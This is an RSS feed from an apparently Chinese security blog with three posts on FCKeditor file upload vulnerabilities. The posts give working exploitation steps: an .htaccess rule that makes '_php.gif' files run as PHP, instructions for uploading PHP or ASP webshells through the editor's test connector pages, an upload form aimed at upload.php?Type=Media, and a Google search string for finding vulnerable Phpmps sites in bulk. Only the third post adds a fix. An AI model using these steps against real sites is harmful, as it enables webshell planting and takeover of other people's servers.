<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Chinadu&#039;s Blog &#187; Fckeditor</title>
	<atom:link href="http://www.4shell.org/archives/tag/fckeditor/feed" rel="self" type="application/rss+xml" />
	<link>http://www.4shell.org</link>
	<description>关注网络安全</description>
	<lastBuildDate>Fri, 10 Feb 2012 03:53:40 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>FCKeditor编辑器全部版本另类上传</title>
		<link>http://www.4shell.org/archives/2028.html</link>
		<comments>http://www.4shell.org/archives/2028.html#comments</comments>
		<pubDate>Tue, 20 Sep 2011 08:11:12 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Fckeditor]]></category>

		<guid isPermaLink="false">http://www.4shell.org/?p=2028</guid>
		<description><![CDATA[FCKeditor all versian Arbitrary File Upload Vulnerability 发布时间: 2011 源码地址:http://sourceforge.net/projects/fckeditor/ 漏洞作者: pentesters.ir 利用步骤: 1.创建一个htaccess文件: 代码内容: &#60;FilesMatch "_php.gif"&#62; SetHandler application/x-httpd-php &#60;/FilesMatch&#62; 2.实用编辑器上传htaccess文件: http://www.4shell.org/FCKeditor/editor/filemanager/upload/test.html http://www.4shell.org/FCKeditor/editor/filemanager/browser/default/connectors/test.html 3.上传shell.php.gif 4.上传后shell.php.gif, 会自动被改名为 shell_php.gif 5.访问http://www.4shell.org/上传目录/shell_php.gif 相关文章2009年12月28日 -- fckeditor漏洞,通杀PHPMPS2009年07月24日 -- Fckeditor 2.4.2 php任意上传文件漏洞]]></description>
			<content:encoded><![CDATA[<p>FCKeditor all versian Arbitrary File Upload Vulnerability<br />
发布时间: 2011<br />
源码地址:http://sourceforge.net/projects/fckeditor/<br />
漏洞作者: pentesters.ir<br />
利用步骤:<br />
1.创建一个htaccess文件:<br />
代码内容:</p>
<blockquote><p>
&lt;FilesMatch "_php.gif"&gt;</p>
<p>SetHandler application/x-httpd-php</p>
<p>&lt;/FilesMatch&gt;
</p></blockquote>
<p>2.实用编辑器上传htaccess文件:</p>
<p>http://www.4shell.org/FCKeditor/editor/filemanager/upload/test.html</p>
<p>http://www.4shell.org/FCKeditor/editor/filemanager/browser/default/connectors/test.html</p>
<p><span id="more-2028"></span><br />
3.上传shell.php.gif<br />
4.上传后shell.php.gif, 会自动被改名为 shell_php.gif<br />
5.访问http://www.4shell.org/上传目录/shell_php.gif</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2009年12月28日 -- <a href="http://www.4shell.org/archives/1351.html" title="fckeditor漏洞,通杀PHPMPS">fckeditor漏洞,通杀PHPMPS</a></li><li>2009年07月24日 -- <a href="http://www.4shell.org/archives/938.html" title="Fckeditor 2.4.2 php任意上传文件漏洞">Fckeditor 2.4.2 php任意上传文件漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/2028.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>fckeditor漏洞,通杀PHPMPS</title>
		<link>http://www.4shell.org/archives/1351.html</link>
		<comments>http://www.4shell.org/archives/1351.html#comments</comments>
		<pubDate>Mon, 28 Dec 2009 05:33:23 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Fckeditor]]></category>
		<category><![CDATA[PHPMPS]]></category>
		<category><![CDATA[漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/1351.html</guid>
		<description><![CDATA[利用方法:----------- 网址加上 /include\fckeditor\editor\filemanager\connectors\test.html connectors选择php。上传英文名称的php或asp马得shell，很是简单。 上传的马一般不改名，遇同名马则改成数组式，故建议不要用中文名。 马的路径直接在下方空白处查看路径。一般路径是/data/upload/file/你的马。 ======================= 批量方法;Google：Powered by Phpmps 根据本人了解前几天NOD32杀软官方被黑,还有微软在其他几个国家的分站被黑,都是因为FCK漏洞被黑的。 相关文章2011年09月21日 -- WPA2不再安全 无线加密协议曝惊天漏洞2011年09月20日 -- FCKeditor编辑器全部版本另类上传2010年08月3日 -- 黑帽大会：HTTPS和SSL存在安全漏洞2010年07月3日 -- 风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞2010年05月8日 -- JBoss企业应用平台JMX控制台安全绕过漏洞2010年03月17日 -- 网页编辑器漏洞手册2010年03月12日 -- Discuz! 7.2 最新注入漏洞分析与利用2009年11月14日 -- Discuz!NT 3.0 特殊环境下利用漏洞 2009年11月2日 -- XOOPS 2.2.6 鸡肋本地包含漏洞2009年10月7日 -- 封堵Windows Server 2008几个明显漏洞]]></description>
			<content:encoded><![CDATA[<p>利用方法:-----------<br />
网址加上 /include\fckeditor\editor\filemanager\connectors\test.html</p>
<p>connectors选择php。上传英文名称的php或asp马得shell，很是简单。</p>
<p>上传的马一般不改名，遇同名马则改成数组式，故建议不要用中文名。<a name="entrymore"></a></p>
<p>马的路径直接在下方空白处查看路径。一般路径是/data/upload/file/你的马。</p>
<p>=======================</p>
<p>批量方法;Google：Powered by Phpmps</p>
<p>根据本人了解前几天NOD32杀软官方被黑,还有微软在其他几个国家的分站被黑,都是因为FCK漏洞被黑的。</p>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年09月21日 -- <a href="http://www.4shell.org/archives/2035.html" title="WPA2不再安全 无线加密协议曝惊天漏洞">WPA2不再安全 无线加密协议曝惊天漏洞</a></li><li>2011年09月20日 -- <a href="http://www.4shell.org/archives/2028.html" title="FCKeditor编辑器全部版本另类上传">FCKeditor编辑器全部版本另类上传</a></li><li>2010年08月3日 -- <a href="http://www.4shell.org/archives/1829.html" title="黑帽大会：HTTPS和SSL存在安全漏洞">黑帽大会：HTTPS和SSL存在安全漏洞</a></li><li>2010年07月3日 -- <a href="http://www.4shell.org/archives/1788.html" title="风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞">风讯（FooSun）GetPassword.asp页面存在任意修改密码漏洞</a></li><li>2010年05月8日 -- <a href="http://www.4shell.org/archives/1752.html" title="JBoss企业应用平台JMX控制台安全绕过漏洞">JBoss企业应用平台JMX控制台安全绕过漏洞</a></li><li>2010年03月17日 -- <a href="http://www.4shell.org/archives/1622.html" title="网页编辑器漏洞手册">网页编辑器漏洞手册</a></li><li>2010年03月12日 -- <a href="http://www.4shell.org/archives/1616.html" title="Discuz! 7.2 最新注入漏洞分析与利用">Discuz! 7.2 最新注入漏洞分析与利用</a></li><li>2009年11月14日 -- <a href="http://www.4shell.org/archives/1167.html" title=" Discuz!NT 3.0 特殊环境下利用漏洞 "> Discuz!NT 3.0 特殊环境下利用漏洞 </a></li><li>2009年11月2日 -- <a href="http://www.4shell.org/archives/1154.html" title="XOOPS 2.2.6 鸡肋本地包含漏洞">XOOPS 2.2.6 鸡肋本地包含漏洞</a></li><li>2009年10月7日 -- <a href="http://www.4shell.org/archives/1138.html" title="封堵Windows Server 2008几个明显漏洞">封堵Windows Server 2008几个明显漏洞</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/1351.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Fckeditor 2.4.2 php任意上传文件漏洞</title>
		<link>http://www.4shell.org/archives/938.html</link>
		<comments>http://www.4shell.org/archives/938.html#comments</comments>
		<pubDate>Fri, 24 Jul 2009 03:19:59 +0000</pubDate>
		<dc:creator>Chinadu</dc:creator>
				<category><![CDATA[技术文章]]></category>
		<category><![CDATA[Fckeditor]]></category>
		<category><![CDATA[上传漏洞]]></category>

		<guid isPermaLink="false">http://www.4shell.org/archives/938.html</guid>
		<description><![CDATA[1、漏洞描述     fckeditor/editor/filemanager/upload/php/upload.php &#60;?php /* * FCKeditor - The text editor for Internet - http://www.fckeditor.net * Copyright (C) 2003-2007 Frederico Caldeira Knabben * * == BEGIN LICENSE == * * Licensed under the terms of any of the following licenses at your * choice: * * - GNU General Public License Version 2 or later [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1、漏洞描述</strong><br />
    fckeditor/editor/filemanager/upload/php/upload.php</p>
<table style="BORDER-RIGHT: #0000ff 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #0000ff 1px dotted; BORDER-LEFT: #0000ff 1px dotted; BORDER-BOTTOM: #0000ff 1px dotted" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="WORD-WRAP: break-word" bgcolor="#efefef"><span style="font-size: 9pt;"><span style="font-family: Verdana;">&lt;?php<br />
/*<br />
* FCKeditor - The text editor for Internet - http://www.fckeditor.net<br />
* Copyright (C) 2003-2007 Frederico Caldeira Knabben<br />
*<br />
* == BEGIN LICENSE ==<br />
*<br />
* Licensed under the terms of any of the following licenses at your<br />
* choice:<br />
*<br />
* - GNU General Public License Version 2 or later (the "GPL")<br />
*    http://www.gnu.org/licenses/gpl.html<br />
*<br />
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")<br />
*    http://www.gnu.org/licenses/lgpl.html<br />
*<br />
* - Mozilla Public License Version 1.1 or later (the "MPL")<br />
*    http://www.mozilla.org/MPL/MPL-1.1.html<br />
*<br />
* == END LICENSE ==<br />
*<br />
* This is the "File Uploader" for PHP.<br />
*/</span></p>
<p><span style="font-family: Verdana;">require('config.php') ;<br />
require('util.php') ;</span></p>
<p><span style="font-family: Verdana;">// This is the function that sends the results of the uploading process.<br />
function SendResults( $errorNumber, $fileUrl = '', $fileName = '', $customMsg = '' )<br />
{<br />
echo '&lt;script type="text/javascript"&gt;' ;<br />
echo 'window.parent.OnUploadCompleted(' . $errorNumber . ',"' . str_replace( '"', '\\"', $fileUrl ) . '","' . str_replace( '"', '\\"', $fileName ) . '", "' . str_replace( '"', '\\"', $customMsg ) . '") ;' ;<br />
echo '&lt;/script&gt;' ;<br />
exit ;<br />
}</span></p>
<p><span style="font-family: Verdana;">// Check if this uploader has been enabled.<br />
if ( !$Config['Enabled'] )<br />
SendResults( '1', '', '', 'This file uploader is disabled. Please check the "editor/filemanager/upload/php/config.php" file' ) ;</span></p>
<p><span style="font-family: Verdana;">// Check if the file has been correctly uploaded.<br />
if ( !isset( $_FILES['NewFile'] ) || is_null( $_FILES['NewFile']['tmp_name'] ) || $_FILES['NewFile']['name'] == '' )<br />
SendResults( '202' ) ;</span></p>
<p><span style="font-family: Verdana;">// Get the posted file.<br />
$oFile = $_FILES['NewFile'] ;</span></p>
<p><span style="font-family: Verdana;">// Get the uploaded file name extension.<br />
$sFileName = $oFile['name'] ;</span></p>
<p><span style="font-family: Verdana;">// Replace dots in the name with underscores (only one dot can be there... security issue).<br />
if ( $Config['ForceSingleExtension'] )<br />
$sFileName = preg_replace( '/\\.(?![^.]*$)/', '_', $sFileName ) ;</span></p>
<p><span style="font-family: Verdana;">$sOriginalFileName = $sFileName ;</span></p>
<p><span style="font-family: Verdana;">// Get the extension.<br />
$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;<br />
$sExtension = strtolower( $sExtension ) ;</span></p>
<p><span style="font-family: Verdana;"><strong>// The the file type (from the QueryString, by default 'File').<br />
$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;</strong></span></p>
<p><span style="font-family: Verdana;"><strong>// Check if it is an allowed type.<br />
if ( !in_array( $sType, array('File','Image','Flash','Media') ) )<br />
    SendResults( 1, '', '', 'Invalid type specified' ) ;</strong></span></p>
<p><span style="font-family: Verdana;"><strong>// Get the allowed and denied extensions arrays.<br />
$arAllowed = $Config['AllowedExtensions'][$sType] ;<br />
$arDenied = $Config['DeniedExtensions'][$sType] ;</strong></span></p>
<p><span style="font-family: Verdana;"><strong>// Check if it is an allowed extension.<br />
if ( ( count($arAllowed) &gt; 0 &amp;&amp; !in_array( $sExtension, $arAllowed ) ) || ( count($arDenied) &gt; 0 &amp;&amp; in_array( $sExtension, $arDenied ) ) )<br />
SendResults( '202' ) ;</strong></span></p>
<p><span style="font-family: Verdana;">$sErrorNumber = '0' ;<br />
$sFileUrl   = '' ;</span></p>
<p><span style="font-family: Verdana;">// Initializes the counter used to rename the file, if another one with the same name already exists.<br />
$iCounter = 0 ;</span></p>
<p><span style="font-family: Verdana;">// Get the target directory.<br />
if ( isset( $Config['UserFilesAbsolutePath'] ) &amp;&amp; strlen( $Config['UserFilesAbsolutePath'] ) &gt; 0 )<br />
$sServerDir = $Config['UserFilesAbsolutePath'] ;<br />
else<br />
$sServerDir = GetRootPath() . $Config["UserFilesPath"] ;</span></p>
<p><span style="font-family: Verdana;">if ( $Config['UseFileType'] )<br />
$sServerDir .= $sType . '/' ;</span></p>
<p><span style="font-family: Verdana;">while ( true )<br />
{<br />
// Compose the file path.<br />
$sFilePath = $sServerDir . $sFileName ;</span></p>
<p><span style="font-family: Verdana;">// If a file with that name already exists.<br />
if ( is_file( $sFilePath ) )<br />
{<br />
   $iCounter++ ;<br />
   $sFileName = RemoveExtension( $sOriginalFileName ) . '(' . $iCounter . ').' . $sExtension ;<br />
   $sErrorNumber = '201' ;<br />
}<br />
else<br />
{<br />
   move_uploaded_file( $oFile['tmp_name'], $sFilePath ) ;</span></p>
<p><span style="font-family: Verdana;">   if ( is_file( $sFilePath ) )<br />
   {<br />
    $oldumask = umask(0) ;<br />
    chmod( $sFilePath, 0777 ) ;<br />
    umask( $oldumask ) ;<br />
   }</span></p>
<p><span style="font-family: Verdana;">   if ( $Config['UseFileType'] )<br />
    $sFileUrl = $Config["UserFilesPath"] . $sType . '/' . $sFileName ;<br />
   else<br />
    $sFileUrl = $Config["UserFilesPath"] . $sFileName ;</span></p>
<p><span style="font-family: Verdana;">   break ;<br />
}<br />
}</span></p>
<p><span style="font-family: Verdana;">SendResults( $sErrorNumber, $sFileUrl, $sFileName ) ;<br />
?&gt;</span></p>
<p></span></td>
</tr>
</tbody>
</table>
<p>    fckeditor/editor/filemanager/upload/php/config.php</p>
<p> </p>
<table style="BORDER-RIGHT: #0000ff 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #0000ff 1px dotted; BORDER-LEFT: #0000ff 1px dotted; BORDER-BOTTOM: #0000ff 1px dotted" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="WORD-WRAP: break-word" bgcolor="#efefef"><span style="font-size: 9pt;"><span style="font-family: Verdana;">&lt;?php<br />
/*<br />
* FCKeditor - The text editor for Internet - http://www.fckeditor.net<br />
* Copyright (C) 2003-2007 Frederico Caldeira Knabben<br />
*<br />
* == BEGIN LICENSE ==<br />
*<br />
* Licensed under the terms of any of the following licenses at your<br />
* choice:<br />
*<br />
* - GNU General Public License Version 2 or later (the "GPL")<br />
*    http://www.gnu.org/licenses/gpl.html<br />
*<br />
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")<br />
*    http://www.gnu.org/licenses/lgpl.html<br />
*<br />
* - Mozilla Public License Version 1.1 or later (the "MPL")<br />
*    http://www.mozilla.org/MPL/MPL-1.1.html<br />
*<br />
* == END LICENSE ==<br />
*<br />
* Configuration file for the PHP File Uploader.<br />
*/</span></p>
<p><span style="font-family: Verdana;">global $Config ;</span></p>
<p><span style="font-family: Verdana;">// SECURITY: You must explicitelly enable this "uploader".<br />
<strong>$Config['Enabled'] = false ;</strong></span></p>
<p><span style="font-family: Verdana;">// Set if the file type must be considere in the target path.<br />
// Ex: /userfiles/image/ or /userfiles/file/<br />
$Config['UseFileType'] = false ;</span></p>
<p><span style="font-family: Verdana;">// Path to uploaded files relative to the document root.<br />
$Config['UserFilesPath'] = '/userfiles/' ;</span></p>
<p><span style="font-family: Verdana;">// Fill the following value it you prefer to specify the absolute path for the<br />
// user files directory. Usefull if you are using a virtual directory, symbolic<br />
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.<br />
// Attention: The above 'UserFilesPath' must point to the same directory.<br />
$Config['UserFilesAbsolutePath'] = '' ;</span></p>
<p><span style="font-family: Verdana;">// Due to security issues with Apache modules, it is reccomended to leave the<br />
// following setting enabled.<br />
$Config['ForceSingleExtension'] = true ;</span></p>
<p><span style="font-family: Verdana;">$Config['AllowedExtensions']['File'] = array() ;<br />
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;</span></p>
<p><span style="font-family: Verdana;">$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;<br />
$Config['DeniedExtensions']['Image'] = array() ;</span></p>
<p><span style="font-family: Verdana;">$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;<br />
$Config['DeniedExtensions']['Flash'] = array() ;</span></p>
<p><span style="font-family: Verdana;">?&gt;</span></p>
<p></span></td>
</tr>
</tbody>
</table>
<p>    问题主要是出在config.php文件中未对Media目录作白名单和黑名单的限制，大概是写漏了，因为在<span style="font-family: Verdana;">fckeditor/editor/filemanager/browser/default/connectors/php目录中的config.php文件对Media是有限制的。<br />
</span></p>
<table style="BORDER-RIGHT: #0000ff 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #0000ff 1px dotted; BORDER-LEFT: #0000ff 1px dotted; BORDER-BOTTOM: #0000ff 1px dotted" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="WORD-WRAP: break-word" bgcolor="#efefef"><span style="font-size: 9pt;"><span style="font-family: Verdana;">&lt;?php<br />
/*<br />
* FCKeditor - The text editor for Internet - http://www.fckeditor.net<br />
* Copyright (C) 2003-2007 Frederico Caldeira Knabben<br />
*<br />
* == BEGIN LICENSE ==<br />
*<br />
* Licensed under the terms of any of the following licenses at your<br />
* choice:<br />
*<br />
* - GNU General Public License Version 2 or later (the "GPL")<br />
*    http://www.gnu.org/licenses/gpl.html<br />
*<br />
* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")<br />
*    http://www.gnu.org/licenses/lgpl.html<br />
*<br />
* - Mozilla Public License Version 1.1 or later (the "MPL")<br />
*    http://www.mozilla.org/MPL/MPL-1.1.html<br />
*<br />
* == END LICENSE ==<br />
*<br />
* Configuration file for the File Manager Connector for PHP.<br />
*/</span></p>
<p><span style="font-family: Verdana;">global $Config ;</span></p>
<p><span style="font-family: Verdana;">// SECURITY: You must explicitelly enable this "connector". (Set it to "true").<br />
$Config['Enabled'] = false ;</span></p>
<p><span style="font-family: Verdana;"><br />
// Path to user files relative to the document root.<br />
$Config['UserFilesPath'] = '/userfiles/' ;</p>
<p>// Fill the following value it you prefer to specify the absolute path for the<br />
// user files directory. Usefull if you are using a virtual directory, symbolic<br />
// link or alias. Examples: 'C:\\MySite\\userfiles\\' or '/root/mysite/userfiles/'.<br />
// Attention: The above 'UserFilesPath' must point to the same directory.<br />
$Config['UserFilesAbsolutePath'] = '' ;</p>
<p>// Due to security issues with Apache modules, it is reccomended to leave the<br />
// following setting enabled.<br />
$Config['ForceSingleExtension'] = true ;</p>
<p>$Config['AllowedExtensions']['File'] = array() ;<br />
$Config['DeniedExtensions']['File']   = array('html','htm','php','php2','php3','php4','php5','phtml','pwml','inc','asp','aspx','ascx','jsp','cfm','cfc','pl','bat','exe','com','dll','vbs','js','reg','cgi','htaccess','asis') ;</p>
<p>$Config['AllowedExtensions']['Image'] = array('jpg','gif','jpeg','png') ;<br />
$Config['DeniedExtensions']['Image'] = array() ;</p>
<p>$Config['AllowedExtensions']['Flash'] = array('swf','fla') ;<br />
$Config['DeniedExtensions']['Flash'] = array() ;</p>
<p><strong>$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;<br />
$Config['DeniedExtensions']['Media'] = array() ;</strong></p>
<p>?&gt;</p>
<p></span></span></td>
</tr>
</tbody>
</table>
<p><span style="font-family: Verdana;">    <strong>2、漏洞利用</strong><br />
    既然<span style="font-family: Verdana;">fckeditor/editor /filemanager/browser/default/connectors/php/config.php已经过滤了，那就只能利用 fckeditor/editor/filemanager/upload/php/config.php了。<br />
    不过如果留意一下改配置文件，就能看到默认情况下“<span style="font-family: Verdana;">$Config['Enabled'] = false</span>”，是不允许上传的；其次，看upload.php能发现，程序对上传文件夹作了比对，必须是Media，说明在windows下不影响，但在Linux下则必须是大写M的Media目录，如果是media则返回信息正常，但文件并未上传成功。<br />
    自己写段上传脚本：<br />
</span></span></p>
<table style="BORDER-RIGHT: #0000ff 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #0000ff 1px dotted; BORDER-LEFT: #0000ff 1px dotted; BORDER-BOTTOM: #0000ff 1px dotted" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="WORD-WRAP: break-word" bgcolor="#efefef"><span style="font-size: 9pt;"><span style="font-family: Verdana;">&lt;form id="frmUpload" enctype="multipart/form-data" action="http://www.xxx.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post"&gt;<br />
Upload a new file:&lt;br&gt;<br />
&lt;input type="file" name="NewFile" size="50"&gt;&lt;br&gt;<br />
&lt;input id="btnUpload" type="submit" value="Upload"&gt;<br />
&lt;/form&gt;</span></span></td>
</tr>
</tbody>
</table>
<p><span style="font-family: Verdana;"><span style="font-family: Verdana;">    提交后查看源码就能看到上传文件的位置。<br />
    <strong>3、漏洞修补</strong><br />
    最好用新版，要不就拷贝以下代码到config.php最后。<br />
</span></span></p>
<table style="BORDER-RIGHT: #0000ff 1px dotted; TABLE-LAYOUT: fixed; BORDER-TOP: #0000ff 1px dotted; BORDER-LEFT: #0000ff 1px dotted; BORDER-BOTTOM: #0000ff 1px dotted" border="0" cellspacing="0" cellpadding="6" width="95%" align="center">
<tbody>
<tr>
<td style="WORD-WRAP: break-word" bgcolor="#efefef"><span style="font-size: 9pt;"><span style="font-family: Verdana;">$Config['AllowedExtensions']['Media'] = array('swf','fla','jpg','gif','jpeg','png','avi','mpg','mpeg') ;<br />
$Config['DeniedExtensions']['Media'] = array() ;</span></span></td>
</tr>
</tbody>
</table>
<h2  class="related_post_title">相关文章</h2><ul class="related_post"><li>2011年09月20日 -- <a href="http://www.4shell.org/archives/2028.html" title="FCKeditor编辑器全部版本另类上传">FCKeditor编辑器全部版本另类上传</a></li><li>2009年12月28日 -- <a href="http://www.4shell.org/archives/1351.html" title="fckeditor漏洞,通杀PHPMPS">fckeditor漏洞,通杀PHPMPS</a></li><li>2009年09月29日 -- <a href="http://www.4shell.org/archives/1135.html" title="动网多个版本上传漏洞">动网多个版本上传漏洞</a></li><li>2008年10月20日 -- <a href="http://www.4shell.org/archives/448.html" title="公布一批上传页查询关键">公布一批上传页查询关键</a></li><li>2008年10月18日 -- <a href="http://www.4shell.org/archives/443.html" title="当网站不允许上传asp cer cdx htr文件时的一个解决方法">当网站不允许上传asp cer cdx htr文件时的一个解决方法</a></li><li>2008年10月10日 -- <a href="http://www.4shell.org/archives/337.html" title="eWebEditorNet 漏洞 upload.aspx">eWebEditorNet 漏洞 upload.aspx</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.4shell.org/archives/938.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

